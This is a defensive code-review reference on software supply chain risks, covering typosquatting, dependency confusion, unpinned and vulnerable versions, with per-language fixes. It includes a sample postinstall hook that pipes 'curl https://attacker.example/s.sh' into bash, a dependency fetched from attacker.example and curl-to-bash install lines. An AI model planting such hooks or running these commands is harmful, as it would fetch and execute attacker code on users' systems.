Skip to content

4.10 Code Reference — Review Software Supply Chain

Software supply chain

From former 4-41-review-software-supply-chain.md. Guiding chapter section: 4.10 - Review Software Supply Chain § Software supply chain.

4.41 Code Reference — Review Software Supply Chain

Attack Payloads

Use these patterns in authorized dependency review, SBOM diffing, and CI policy tests—not to install unverified packages on production systems.

Pattern 1: Typosquatting package names

reqeusts          # requests
python-dateutil   # python-dateutil vs python-datelutil
@types/node       # scoped typosquats in npm
django-admin      # unrelated to django

Compare package names character-by-character against canonical registry entries.

Pattern 2: Dependency confusion (internal name squatting)

# Public registry publishes same name as internal private package
pip install company-utils  # resolves to public typosquat if index misconfigured
npm install @company/auth-lib  # public scope squatted

Pattern 3: Malicious install scripts

{
  "scripts": {
    "postinstall": "curl https://attacker.example/s.sh | bash"
  }
}

Review postinstall, preinstall, and prepare in package.json and equivalent hooks in other ecosystems.

Pattern 4: Unpinned transitive upgrade

# requirements.txt: django>=3.0
# Lockfile not committed — CI pulls latest transitive deps each build
# New sub-dependency version introduces CVE or compromised maintainer

Pattern 5: Known vulnerable version left in place

log4j-core:2.14.1
node-forge:0.10.0
urllib3:1.26.5  # check against OSV/GitHub Advisory
spring-beans:5.3.18

Language-Specific Sinks and Dangerous APIs

Python

# requirements.txt — no hashes, floating versions
requests>=2.0
django>=3.0
subprocess.run(["pip", "install", "-r", "requirements.txt"])
pip.main(["install", user_supplied_package])
import pkg_resources; pkg_resources.require(user_input)

Also review: pip.conf index URL, Poetry without lockfile commit, setup.py install from git URLs.

Java

<dependency>
  <version>LATEST</version>
  <version>[1.0,)</version>  <!-- open range -->
</dependency>
URLClassLoader.newInstance(urls);  // loads JAR from user path
ScriptEngine with classpath from untrusted plugin dir

Gradle: dynamic versions 1.+, latest.release; missing dependency-lock.

C

<PackageReference Include="Newtonsoft.Json" Version="*" />
<PackageReference Include="Evil.Package" Version="1.0.0" />  <!-- unreviewed -->
Assembly.LoadFrom(userSuppliedPath);
dotnet add package from unverified feed

JavaScript

"dependencies": {
  "lodash": "latest",
  "some-package": "git+https://attacker.example/pkg.git"
}
require(userControlledModule);
child_process.exec('npm install ' + packageName);

Go

// go.mod without go.sum committed
require github.com/example/legacy v0.0.0-20180101000000-deadbeef
go get -u ./...  // unpinned upgrade in CI
plugin.Open(userPath)

Shell / Docker

curl -sSL https://install.example.com/setup.sh | bash
pip install -r requirements.txt  # no hash check
npm install --ignore-scripts=false
FROM python:3.8-slim  # no digest pin
RUN pip install package-from-git

Vulnerable Examples in Other Languages

Java

<!-- pom.xml: vulnerable Log4j range without upper bound -->
<dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-core</artifactId>
    <version>2.14.0</version>
</dependency>
# application.properties — floating version pulls latest on each CI run
spring.security.oauth2.client.version=5.7.+

C

<!-- PackageReference with floating version -->
<PackageReference Include="Newtonsoft.Json" Version="*" />

<!-- No lock file; RestorePackagesWithLockFile not enabled -->

Shell

#!/bin/bash
# CI bootstrap: unpinned install scripts, no hash verification
curl -sSL https://install.example.com/setup.sh | bash

pip install -r requirements.txt   # no hashes; django>=3.0 floats on each run
npm install some-random-package@latest

# Dockerfile excerpt — digest not pinned
docker pull python:3.8-slim

Go

// go.mod: retracted or vulnerable module without replace/upgrade
require github.com/example/legacy-crypto v0.0.0-20180101000000-deadbeef

// Indirect dependency left unpatched after parent upgrade
require github.com/gin-gonic/gin v1.9.0 // pulls vulnerable transitive via old lock

Fix: Safer Patterns and Libraries to Use

Python

Pin dependencies with lockfiles and hash verification. Scan in CI.

# requirements.lock (generated by pip-tools) — excerpt
pyyaml==6.0.1 \
    --hash=sha256:abcdef...
requests==2.31.0 \
    --hash=sha256:123456...
django==4.2.11 \
    --hash=sha256:789abc...
# .github/workflows/deps.yml excerpt
- name: Audit Python dependencies
  run: |
    pip install pip-audit
    pip-audit -r requirements.lock

Use pip-tools or Poetry lockfiles. Run pip-audit in pull requests.

Java

Pin versions, ban snapshots in production, and generate SBOMs at package time.

<plugin>
    <groupId>org.cyclonedx</groupId>
    <artifactId>cyclonedx-maven-plugin</artifactId>
    <executions>
        <execution>
            <phase>package</phase>
            <goals><goal>makeAggregateBom</goal></goals>
        </execution>
    </executions>
</plugin>

Run OWASP Dependency-Check or GitHub Dependabot on every build. Use Maven Enforcer to ban snapshot dependencies in release profiles.

C

Use Central Package Management and lock files. Fail CI on critical CVEs.

<PropertyGroup>
    <RestorePackagesWithLockFile>true</RestorePackagesWithLockFile>
</PropertyGroup>
- run: dotnet list package --vulnerable --include-transitive

Generate SBOMs with CycloneDX .NET or Microsoft SBOM Tool.

Go

Commit go.sum and verify in CI. Scan with govulncheck.

- run: go mod verify
- run: govulncheck ./...

Pin base images by digest in Dockerfiles.

FROM golang:1.22-bookworm@sha256:abc123...

See go mod verify and govulncheck.